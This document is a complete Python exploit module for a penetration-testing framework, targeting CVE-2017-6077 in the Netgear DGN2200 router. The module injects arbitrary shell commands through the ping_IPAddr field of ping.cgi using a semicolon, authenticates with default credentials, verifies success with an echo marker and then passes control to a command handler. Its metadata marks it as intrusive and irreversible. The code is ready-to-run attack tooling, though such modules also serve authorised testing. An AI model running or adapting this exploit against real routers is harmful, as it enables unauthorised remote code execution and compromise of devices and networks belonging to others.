Netgear DGN2200 RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netgear DGN2200 RCE"""


from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Netgear DGN2200 RCE',
        'description': 'Exploits Netgear DGN2200 RCE vulnerability in the ping.cgi script.',
        'author': ['SivertPL', 'Josh Abraham'],
        'cve': ['CVE-2017-6077'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.exploit-db.com/exploits/41394/', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077'],
        'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2017-6077'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")
    username = OptString("admin", "Username")
    password = OptString("password", "Password")

    def execute(self, command):
        data = {
            "IPAddr1": 12,
            "IPAddr2": 12,
            "IPAddr3": 12,
            "IPAddr4": 12,
            "ping": "Ping",
            "ping_IPAddr": "12.12.12.12; " + command
        }
        referer = "{}/DIAG_diag.htm".format(self.target)
        headers = {'referer': referer}

        r = self.http_request(
            method="POST",
            path="/ping.cgi",
            data=data,
            auth=(self.username, self.password),
            headers=headers
        )
        if r is None:
            return ""

        result = self.parse_output(r.text)
        return result
    def check(self):
        """
        Method that verifies if the target is vulnerable.
        """
        rand_marker = self.random_text(6)
        command = "echo {}".format(rand_marker)

        if rand_marker in self.execute(command):
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()